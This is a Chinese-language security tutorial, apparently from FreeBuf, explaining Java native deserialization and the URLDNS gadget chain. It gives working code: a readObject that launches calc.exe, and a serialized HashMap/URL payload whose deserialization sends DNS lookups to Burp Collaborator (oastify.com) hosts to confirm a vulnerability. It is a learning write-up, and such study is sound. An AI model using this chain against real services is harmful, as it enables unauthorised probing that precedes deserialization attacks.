JAVA URLDNS链分析利用
认识Java反序列化知识
Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口从而将对象转化为字节序列用于对对象数据进行存储转移
举例:
package org.example;//对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;//transient表示不会被序列化带上后会发现后面name是null
private int age;
public Person(){
}// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();//调用ois.defaultReadObject()读取默认对象字段
Runtime.getRuntime().exec("calc.exe");//代码执行命令Runtime.getRuntime().exec("calc.exe")
} //来调用计算器应用程序。
}//会弹出个计算机
序列化
package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);//获得序列化数据生成ser.bin文件
}
public static void main(String[] args) throws Exception{
Person person= new Person("aa",22);
System.out.println(person);//打印
serialize(person); //序列化
打印并生成ser.bin文件。
能看出来一点点知道是序列化但要怎样解出来具体内容就要反序列化读取或者分析源码了。
反序列化
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");//反序列化强制转换类型
System.out.println(person);//打印
}
}
成功弹出计算机。 但实际上像 Runtime.getRuntime().exec("calc.exe");这种不会直接调用这种危险的方法的。
URLDNS链
URLDNS与版本无关,这个攻击是依赖于Java内置类。
URLDNS反序列化链只能发起DNS请求无法进行其他利用攻击可作为验证是否有反序列化漏洞。
源码
使用bp生成个链接。
package org.example;//正常urldns序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap hashmap= new HashMap<>();//new累
URL url =new URL("http://ulj8wykdbqhab5ywew263gbyzp5kt9.oastify.com");//bp生成
//Class c = url.getClass();
//Field hashcodefield=c.getDeclaredField("hashCode");
//hashcodefield.setAccessible(true);
//int originalHashCode = hashcodefield.getInt(url);
//hashcodefield.set(url,123);
//int or = hashcodefield.getInt(url);
//new之后 hashCode = -1 复制后 hashCode != -1就会发生dns请求
hashmap.put(url,1);
//int orr = hashcodefield.getInt(url);
//hashcodefield.set(url,originalHashCode);
//int orrr = hashcodefield.getInt(url);
// 如果在这个位置将hashCode 改回 -1 就不会发生dns请求从而可以通过dns请求是否发生来判断是否反序列化
// Person person = new Person("aa",22);
// System.out.println(person);
serialize(hashmap);
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
调试
先序列化运行一次尝试查看。
image-20230718150237706
我们运行后发现 **hashmap.put(url,1);**put后便发起了dns请求即会导致我们收到dns后无法判断该dns是不是反序列化发出的。
查找DNS的原因
ctrl+单机左键分别跟进函数。
URL
URL ——>public URL(String spec) throws MalformedURLException {
private int hashCode = -1;//跟进这个发现当url被new出了 hashCode被赋值为-1
image-20230718161400289
image-20230718161743988
PUT
hashmap.put(url,1)
put——>putVal(hash(key)
hash——> (h = key.hashCode()) ^ (h >>> 16)
hashCode
hashmap.put----.>
k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.png
k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.png
hashmap.put----.>hash---->
image-20230718162025962
hashmap.put----.>hash---->hashCode---->
image-20230718162044876
image-20230718161400289
image-20230718163404677
hashmap.put----.>hash---->hashCode---->getHostAddress---->
image-20230718163555629
当HashMap传入一个URL时,会进行一次DNS解析,并将hashCode赋值为-1 当进行put时就会触发dns。
调用hash(key)方法,此时也会判断key的hashMap,如果是-1则会触发一次dns请求所以假设我们可以控制hashCode的值当初次进行hashmap.put(url,1);时我们将其改为其他值,hashmap.put(url,1)后再将其改回**-1**这样就可通过DNS判断是否反序列化.这个需要引入Java中的反射的知识。
hashmap.put----.>hash---->hashCode---->getHostAddress--->DNS
Java中的反射
概念
Java中的反射是指在运行时动态地获取类的信息并操作类的成员(字段、方法、构造函数等)的能力。通过反射,可以在运行时获取类的信息,如类的名称、父类、接口、字段、方法等,并且可以通过反射的API来动态地创建对象、调用方法、访问和修改字段等。
Java的反射机制主要由以下几个类和接口组成:
Class类:表示一个类或接口,在运行时可以获取类的信息,如名称、父类、接口、字段、方法等。
Constructor类:表示一个构造函数,可以通过Constructor类来创建对象。
Field类:表示一个字段(成员变量),可以通过Field类来访问和修改字段的值。
Method类:表示一个方法,可以通过Method类来调用方法。
个人理解:
反射就是中途改一些定义好或者生成好的数值,当一个类。方法啥的在被调用是我们可以通过反射机制创造出一个一样的并且这个我们可以对其属性值进行更改。
反射优缺点
优点:
动态性:反射使得程序能够在运行时动态地获取和操作类的信息,而不需要在编译时就确定类的具体类型。这使得程序能够更加灵活和适应不同的情况。
扩展性:通过反射,程序可以动态地加载和使用不同的类,从而实现更好的扩展性。这在一些框架和插件系统中非常有用,可以让程序在不修改代码的情况下添加新的功能。
调试和分析:反射可以用于调试和分析程序。通过反射,可以获取类的结构信息,查看字段、方法、构造函数等的属性和值,帮助开发人员理解和排查问题。
缺点:
性能开销:反射通常比直接调用方法或访问字段的方式更加耗时。这是因为反射需要在运行时进行额外的检查和处理,包括访问权限检查、类型转换等。因此,在性能要求较高的场景下,反射可能不是一个好的选择。
安全性问题:反射可以绕过访问权限的限制,让程序可以访问和修改本来不应该被访问的类、方法、字段等。这可能会引发安全漏洞,因此在使用反射时需要谨慎处理权限控制。
可读性和维护性:使用反射可以让代码更加灵活和动态,但也会增加代码的复杂性和难度。反射的使用通常需要更多的代码和更复杂的逻辑,这可能会降低代码的可读性和维护性。
反射的用途
在反序列化中他的作用就是改属性值。
举例
源码
package org.example;//对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;
private int age;
public Person(){
}// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package org.example;//反射
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Reflectiontest {
public static void main(String[] args) throws Exception{
Person person = new Person();//new一个对象
//整个Class类对象
Class a = person.getClass();
//开始操作Class
//a.newInstance();无参
//a.getConstructor();有参
//从原型class实例化对象
Constructor person_constructor = a.getConstructor(String.class,int.class);
//选择合适的构造函数,根据参数类型选择构造函数(知道对象是一个名字一个年龄所以String.class,int.class)
Person p = (Person) person_constructor.newInstance("小王",222); //实例化一个类对象
System.out.println(p);//打印
Field personfields =a.getDeclaredField("name");//获取Person类的私有字段name
personfields.setAccessible(true);//获得私有成员的访问限制
personfields.set(p,"小李");//将name字段进行更改
System.out.println(p);//打印
//下面是其他用法
//获取类里面的属性
//同时编辑多行 alt+shift+ins
// Field[] personfields = a.getFields(); //只能获得public类型的属性
// for(Field f:personfields){//打印
// System.out.println(f);
// }
//Method[] aa=a.getMethods();//类或接口的所有公共方法
//for (Method n:aa){ //批量打印
// System.out.println(n);
//}
// Field[] personfields1 = a.getDeclaredFields(); //可以获取public,protected,private属性
// for(Field f:personfields1){
// System.out.println(f);
// }
//获取特定的属性
//Field namefield = a.getDeclaredField("sex");
//如果遇到private属性,需要用这个,表示可以修改;而public 和 protected可以直接修改
//namefield.setAccessible(true);
// namefield.set(p,"aaa");
// System.out.println(p);
//获取方法,调用方法
//得到所有方法
// Method[] personmethods = a.getMethods();
// for(Method i:personmethods){
// System.out.println(i);
// }
//得到特定的方法
// Method actionmethod = a.getMethod("action", String.class);
// actionmethod.invoke(p,"aaas");
// System.out.println(p);
//如果要调用私有方法,那么也是使用declared,还有setaccessible
}
}
image-20230718184726771
注意:jdk9一搜可能出现。
image-20230718185016400
module java.base does not “opens java.lang” to unnamed module @1941a8ff//报错出现什么将什么替换
--add-opens java.base/java.lang=ALL-UNNAMED//在编译配置中添加vm即可
module java.base does not “opens java.lang.reflect“ to unnamed module
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
URLDNS攻击链
链子:HashMap类的put方法中调用了hash()方法->HashMap类的hash()方法中调用了hashCode()方法。
package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap hashmap= new HashMap<>();//开始
URL url =new URL("http://qd7ybrqywdf1nej0k23pupu6lxrqff.oastify.com");//传入url
Class c = url.getClass();//反射
Field hashcodefield=c.getDeclaredField("hashCode");//获取hashCode参数
hashcodefield.setAccessible(true);//获得私有成员的访问限制
int originalHashCode = hashcodefield.getInt(url);//存一下初始值 -1
hashcodefield.set(url,123);//修改hashCode的值
int or = hashcodefield.getInt(url);//观察修改后hashCode的值
//new之后 hashCode = -1 复制后 hashCode != -1就会发生dns请求
hashmap.put(url,1);//put
int orr = hashcodefield.getInt(url);//没啥用,只是为了在动态调试中观察put后hashCode的数值
hashcodefield.set(url,originalHashCode);//修改回hashCode的值 -1
int orrr = hashcodefield.getInt(url);//没啥用,只是为了在动态调试中观察hashCode的数值
// 如果在这个位置将hashCode 改回 -1 就不会发生dns请求从而可以通过dns请求是否发生来判断是否反序列化
serialize(hashmap);
}
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
// Person person = (Person)unserialize("ser.bin");
// System.out.println(person);
unserialize("ser.bin");
}
}
运行看一下:
image-20230718204643435
发现序列化后并没有发起请求。
反序列化
image-20230718205141538
可以观察到反序列化后发起了DNS请求,这说明我们的URLDNS链制作完成,我们可以通过DNS请求判断是否发生反序列化。
动调观察一下 hashCode的值。
image-20230718205903994
发现和我们设想的较为一致。
自此URLDNS链算是结束了,初始java反序列化感觉巨难但多看几遍自己调试几遍感觉也还可用哈!!!
本文作者:k5haioo, 转载请注明来自FreeBuf.COM